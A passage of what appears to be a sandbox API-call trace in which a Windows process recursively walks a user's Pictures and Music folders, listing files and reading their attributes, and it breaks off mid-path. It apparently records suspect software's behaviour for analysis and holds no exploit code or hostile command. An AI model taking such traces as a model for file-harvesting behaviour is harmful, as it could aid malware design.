FindClose (in: hFindFile=0x6fe9058 | out: hFindFile=0x6fe9058) returned 1 [0072.537] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0072.538] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0072.538] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0072.538] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv", lpFilePart=0x0) returned 0x2f [0072.538] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fe9058 [0072.538] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0072.538] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0072.538] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0072.538] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0072.538] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0072.538] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0072.538] FindClose (in: hFindFile=0x6fe9058 | out: hFindFile=0x6fe9058) returned 1 [0072.538] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0072.538] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0072.538] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfec48) returned 1 [0072.538] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z", nBufferLength=0x105, lpBuffer=0x6cfe760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z", lpFilePart=0x0) returned 0x23 [0072.538] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\*", lpFindFileData=0x6cfe970 | out: lpFindFileData=0x6cfe970) returned 0x6fe9058 [0072.539] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0072.539] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0072.539] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0072.539] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0072.539] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0072.539] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 0 [0072.539] FindClose (in: hFindFile=0x6fe9058 | out: hFindFile=0x6fe9058) returned 1 [0072.539] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec08) returned 1 [0072.539] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec14) returned 1 [0072.539] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfecbc) returned 1 [0072.539] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures", nBufferLength=0x105, lpBuffer=0x6cfe7d4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures", lpFilePart=0x0) returned 0x1a [0072.539] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\*", lpFindFileData=0x6cfe9e4 | out: lpFindFileData=0x6cfe9e4) returned 0x6fe9058 [0072.540] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0072.540] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0072.540] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0072.540] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0072.540] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0072.540] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0072.540] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0072.540] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0072.540] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 0 [0072.540] FindClose (in: hFindFile=0x6fe9058 | out: hFindFile=0x6fe9058) returned 1 [0072.540] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec7c) returned 1 [0072.541] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec88) returned 1 [0073.562] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music", nBufferLength=0x105, lpBuffer=0x6cfe860, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music", lpFilePart=0x0) returned 0x17 [0073.562] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfecb0) returned 1 [0073.562] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music" (normalized: "c:\\users\\kft6utqw\\music"), fInfoLevelId=0x0, lpFileInformation=0x6cfed2c | out: lpFileInformation=0x6cfed2c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xc2d51520, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xc2d51520, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0073.563] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfecac) returned 1 [0073.563] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music", nBufferLength=0x105, lpBuffer=0x6cfe860, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music", lpFilePart=0x0) returned 0x17 [0073.563] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeca4) returned 1 [0073.563] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music" (normalized: "c:\\users\\kft6utqw\\music"), fInfoLevelId=0x0, lpFileInformation=0x6cfed20 | out: lpFileInformation=0x6cfed20*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xc2d51520, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xc2d51520, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0073.563] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeca0) returned 1 [0073.563] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music", nBufferLength=0x105, lpBuffer=0x6cfe7ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music", lpFilePart=0x0) returned 0x17 [0073.563] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfec30) returned 1 [0073.563] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music" (normalized: "c:\\users\\kft6utqw\\music"), fInfoLevelId=0x0, lpFileInformation=0x6cfecac | out: lpFileInformation=0x6cfecac*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xc2d51520, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xc2d51520, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0073.563] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec2c) returned 1 [0073.563] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfecbc) returned 1 [0073.563] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music", nBufferLength=0x105, lpBuffer=0x6cfe7d4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music", lpFilePart=0x0) returned 0x17 [0073.563] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\*", lpFindFileData=0x6cfe9e4 | out: lpFindFileData=0x6cfe9e4) returned 0x6fe93d8 [0073.563] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0073.563] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0073.564] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0073.564] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0073.564] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0073.566] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0073.566] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0073.566] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 0 [0073.566] FindClose (in: hFindFile=0x6fe93d8 | out: hFindFile=0x6fe93d8) returned 1 [0073.566] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec7c) returned 1 [0073.566] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec88) returned 1 [0073.566] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN", nBufferLength=0x105, lpBuffer=0x6cfe778, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN", lpFilePart=0x0) returned 0x2b [0073.566] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebbc) returned 1 [0073.566] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN" (normalized: "c:\\users\\kft6utqw\\music\\e1mt woaqipijv7ecvn"), fInfoLevelId=0x0, lpFileInformation=0x6cfec38 | out: lpFileInformation=0x6cfec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xed1b5bf0, ftCreationTime.dwHighDateTime=0x1d2f5b3, ftLastAccessTime.dwLowDateTime=0x7fc01ef0, ftLastAccessTime.dwHighDateTime=0x1d2fdde, ftLastWriteTime.dwLowDateTime=0x7fc01ef0, ftLastWriteTime.dwHighDateTime=0x1d2fdde, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0073.567] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfebb8) returned 1 [0073.567] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfec48) returned 1 [0073.567] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN", nBufferLength=0x105, lpBuffer=0x6cfe760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN", lpFilePart=0x0) returned 0x2b [0073.567] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\*", lpFindFileData=0x6cfe970 | out: lpFindFileData=0x6cfe970) returned 0x6fe93d8 [0073.567] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0073.567] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0073.567] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0073.567] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0073.567] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0073.567] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0073.568] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 0 [0073.568] FindClose (in: hFindFile=0x6fe93d8 | out: hFindFile=0x6fe93d8) returned 1 [0073.568] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec08) returned 1 [0073.568] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec14) returned 1 [0073.568] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\oGal6NmV2cY0e3 6", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\oGal6NmV2cY0e3 6", lpFilePart=0x0) returned 0x3c [0073.568] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0073.568] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\oGal6NmV2cY0e3 6" (normalized: "c:\\users\\kft6utqw\\music\\e1mt woaqipijv7ecvn\\ogal6nmv2cy0e3 6"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc0e0de70, ftCreationTime.dwHighDateTime=0x1d2ffbd, ftLastAccessTime.dwLowDateTime=0x116f5380, ftLastAccessTime.dwHighDateTime=0x1d304fa, ftLastWriteTime.dwLowDateTime=0x116f5380, ftLastWriteTime.dwHighDateTime=0x1d304fa, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0073.568] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0073.568] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0073.568] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\oGal6NmV2cY0e3 6", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\oGal6NmV2cY0e3 6", lpFilePart=0x0) returned 0x3c [0073.568] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\oGal6NmV2cY0e3 6\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fe93d8 [0073.568] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0073.568] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0073.568] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0073.569] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0073.569] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0073.569] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0073.569] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0073.569] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0073.569] FindClose (in: hFindFile=0x6fe93d8 | out: hFindFile=0x6fe93d8) returned 1 [0073.569] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0073.569] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0073.569] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0073.569] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\oGal6NmV2cY0e3 6", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\oGal6NmV2cY0e3 6", lpFilePart=0x0) returned 0x3c [0073.569] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\oGal6NmV2cY0e3 6\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fe93d8 [0073.569] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0073.570] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0073.570] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0073.570] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0073.570] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0073.570] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0073.570] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0073.570] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0073.570] FindClose (in: hFindFile=0x6fe93d8 | out: hFindFile=0x6fe93d8) returned 1 [0073.570] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0073.570] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0073.570] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk", lpFilePart=0x0) returned 0x34 [0073.570] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0073.570] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk" (normalized: "c:\\users\\kft6utqw\\music\\e1mt woaqipijv7ecvn\\spkpdtjk"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3d455b0, ftCreationTime.dwHighDateTime=0x1d2f666, ftLastAccessTime.dwLowDateTime=0x10c78d80, ftLastAccessTime.dwHighDateTime=0x1d2f893, ftLastWriteTime.dwLowDateTime=0x10c78d80, ftLastWriteTime.dwHighDateTime=0x1d2f893, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0073.571] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0073.571] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0073.571] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk", lpFilePart=0x0) returned 0x34 [0073.571] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fe93d8 [0073.571] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0073.571] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0073.571] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0073.571] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0073.571] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0073.571] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0073.571] FindClose (in: hFindFile=0x6fe93d8 | out: hFindFile=0x6fe93d8) returned 1 [0073.572] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0073.572] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0073.572] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl", lpFilePart=0x0) returned 0x40 [0073.572] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfead4) returned 1 [0073.572] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl" (normalized: "c:\\users\\kft6utqw\\music\\e1mt woaqipijv7ecvn\\spkpdtjk\\clnojurnmvl"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x417c9d20, ftCreationTime.dwHighDateTime=0x1d2fbaf, ftLastAccessTime.dwLowDateTime=0x1c5b7b30, ftLastAccessTime.dwHighDateTime=0x1d3030a, ftLastWriteTime.dwLowDateTime=0x1c5b7b30, ftLastWriteTime.dwHighDateTime=0x1d3030a, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0073.572] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfead0) returned 1 [0073.572] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0073.572] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl", lpFilePart=0x0) returned 0x40 [0073.572] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fe93d8 [0073.572] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0073.572] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0073.572] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0073.572] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0073.573] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0073.573] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0073.573] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0073.573] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0073.573] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0073.573] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0073.573] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0073.573] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0073.573] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0073.573] FindClose (in: hFindFile=0x6fe93d8 | out: hFindFile=0x6fe93d8) returned 1 [0073.573] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0073.574] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0073.574] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\D XgP5yxO", nBufferLength=0x105, lpBuffer=0x6cfe61c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\D XgP5yxO", lpFilePart=0x0) returned 0x4a [0073.574] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0073.574] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\D XgP5yxO" (normalized: "c:\\users\\kft6utqw\\music\\e1mt woaqipijv7ecvn\\spkpdtjk\\clnojurnmvl\\d xgp5yxo"), fInfoLevelId=0x0, lpFileInformation=0x6cfeadc | out: lpFileInformation=0x6cfeadc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85c33890, ftCreationTime.dwHighDateTime=0x1d3037f, ftLastAccessTime.dwLowDateTime=0x743c22a0, ftLastAccessTime.dwHighDateTime=0x1d2fde2, ftLastWriteTime.dwLowDateTime=0x743c22a0, ftLastWriteTime.dwHighDateTime=0x1d2fde2, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0073.574] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0073.574] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0073.574] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\D XgP5yxO", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\e1mt 